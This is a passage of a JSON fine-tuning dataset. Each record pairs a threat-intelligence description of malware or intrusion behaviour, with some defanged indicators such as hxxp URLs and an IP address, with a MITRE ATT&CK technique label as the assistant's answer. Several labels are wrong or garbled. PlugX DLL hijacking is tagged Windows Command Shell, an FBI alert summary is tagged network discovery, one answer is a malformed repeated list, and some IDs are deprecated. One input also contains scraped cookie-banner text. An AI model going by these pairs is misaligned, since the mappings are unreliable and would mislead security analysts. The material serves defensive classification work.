                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandbox check and anti-virus product enumeration - Dropping payload ‘netmgr.exe’ - Creating a registry key for persistence - Creating a registry key for deletion of the dropper"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet used copies of .lnk shortcuts to propagate through removable media."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 compromised McAfee ePO to move laterally by distributing malware as a software deployment task."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has maintained persistence by patching legitimate device firmware when it is downloaded, including that of WatchGuard devices."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sibot can download and execute a payload onto a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy is packed for obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic has added persistence to the `HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` Registry key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SEASHARPEE can execute commands on victims."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OLDBAIT can use SMTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has downloaded additional malware and tools, including through the use of `certutil`, onto a compromised host ."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has deployed a utility script named \"kill.bat\" to disable anti-virus."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Donut can generate shellcode outputs that execute via VBScript."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA453, an Iranian-state aligned actor, masqueraded as British scholars to covertly target individuals of intelligence interest to the Iranian government in what Proofpoint has dubbed Operation SpoofedScholars. The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page. The use of a legitimate but actor-compromised website is an increase in sophistication compared to TA453’s historical Tactics, Techniques, and Procedures of using actor-controlled credential phishing websites. Proofpoint has worked with the appropriate authorities to conduct victim notification"
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ecipekac can abuse the legitimate application policytool.exe to load a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has collected the operating system version from the infected system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can retrieve passwords from messaging and mail client applications."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of CodeExecution modules that enable by injecting code (DLL, shellcode) or reflectively loading a Windows PE file into a process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 has injected SMB URLs into malicious Word spearphishing attachments to initiate Forced Authentication."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can report the file system type and disk space of a compromised host to C2."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the process is running with Low integrity, REvil terminates the current process and launches another instance of itself via ShellExecute using the \"runas\" command, which executes the new instance with administrative rights"
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has used the \"csc.exe\" tool to compile a C# executable."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crutch has the ability to persist using scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command to clear system event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu encodes files in Base64."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 8080 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware then grants itself debugging privileges by modifying its security token to add SeDebugPrivilege. This step is a prerequisite for the remainder of SUNSPOT’s execution, which involves reading other processes’ memory"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BitPaymer has attempted to install itself as a service to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has injected malicious code into a new svchost.exe process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used TeamViewer to preserve remote access in case control using the Cobalt Strike module was lost."
            },
            {
                "role": "assistant",
                "content": "T1108 - Redundant Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses the tasklist to view running processes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware then requests a connection to 192.184.60.229 on TCP port 81 using the command \"05 01 00 01 c0 b8 3c e5 00 51\" and verifies that the first two bytes from the server are \"05 00\" (c0 b8 3c e5 is the IP address and 00 51 is the port in network byte order)"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "makes their malware look like Flash Player, Office, or PDF documents in order to entice a user to click on it."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito deletes files using DeleteFileW API call."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The samples install HTTPBrowser at %APPDATA%/wdm.exe. Persistence is established via the HKCUSoftwareMicrosoftWindowsCurrentVersionRun key value for wdm set to the path of the executable. Previous samples have set persistence via Run key values for 360v"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used PowerShell for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has used Google Drive for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The third campaign deployed a different custom RPC backdoor to that used in the second campaign. This backdoor used code derived from the publicly available PowerShellRunner tool to execute PowerShell scripts without using powershell.exe. Prior to execution, the PowerShell scripts were stored Base64-encoded in the registry"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can decrypt downloaded modules prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windigo has used a script to detect which Linux distribution and version is currently installed on the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "iKitten prompts the user for their credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Micropsia creates a RAR archive based on collected files on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can issue shell commands to download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT’s Java payload is encrypted with AES. Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of jRAT also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedCoffee is a fairly basic backdoor which uses WMI to collect a variety of system and user information from the system, which is then encoded with base64, encrypted with RC4 and submitted via HTTP POST to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used Discord's content delivery network (CDN) to deliver malware and malicious scripts to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SideTwist has the ability to upload files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used tools to detect sandbox or VMware services through identifying the presence of a debugger or related services."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has hosted malicious payloads on Dropbox."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has created a user named `DefaultAccount` on compromised machines and assigned it to the Administrators and Remote Desktop Users groups."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can make tokens from known credentials."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY makes the most of using built-in Windows features – so-called “living off the land” – to make an especially stealthy backdoor. POSHSPY's use of WMI to both store and persist the backdoor code makes it nearly invisible to anyone not familiar with the intricacies of WMI. Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory. The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult. Every aspect of POSHSPY is efficient and covert"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ChChes communicates to its C2 server over HTTP and embeds data within the Cookie HTTP header."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location \"HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32\"."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed can collect data on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has used an RSS feed on Livejournal to update a list of encrypted C2 server names. RTM has also hidden Pony C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cookie Notice . This website uses cookies to help personalize and improve your experience. By Continuing to use this site, you are consenting to the use of cookies. Further research into the IP address hosting the spoofed page revealed a broader campaign to steal credentials. Countries with targeted universities. Source: Secureworks) . After entering their credentials into the fake login page, victims were redirected to the legitimate website where they were automatically logged into a valid session or were prompted to enter their credentials again. Numerous spoofed domains referenced the targeted universities' online library systems, indicating the threat actors' intent to gain access to these resources. CTU™ researchers were unable to confirm functionality of all identified spoofed pages because some of the domains were not accessible at the time of analysis. Domain registrations indicate the infrastructure to support this campaign was still being created when CTU researchers discovered the activity. A domain registered in May 2018 also contained subdomains spoofing university targets. These subdomains redirected visitors to spoofed login pages on other attacker-controlled domains"
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FBI has high confidence that HIDDEN COBRA actors are using the IP addresses for further network exploitation.This alert includes technical indicators related to specific North Korean government cyber operations and provides suggested response actions to those indicators, recommended mitigation techniques, and information on reporting incidents to the U.S"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The formula uses a command prompt to run a PowerShell script that attempts to download and execute a second PowerShell script hosted at the URL hxxp://micrrosoft[.]net/winupdate.ps1. By default, Excel will not launch the command prompt application, but will do so with the user’s consent via the following dialog box in Figure 3"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pillowmint has stored its malicious payload in the registry key \"HKLM\\SOFTWARE\\Microsoft\\DRM\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop has been packed to help avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 has used rundll32.exe to execute a loader."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer has obtained and used tools such as LaZagne, Mimikatz, PsExec, and MailSniper."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN5 has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We believe that the source of all these stolen certificates could be the same Winnti group. Either this group has close contacts with other Chinese hacker gangs, or it sells the certificates on the black market in China"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom TCP protocol for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most PowerShell scripts involved in LockBit 2.0 cases are Base64 encoded."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt has a command to download additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compromised McAfee ePO to move laterally by distributing malware as a software deployment task."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI)"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs the net view command"
            },
            {
                "role": "assistant",
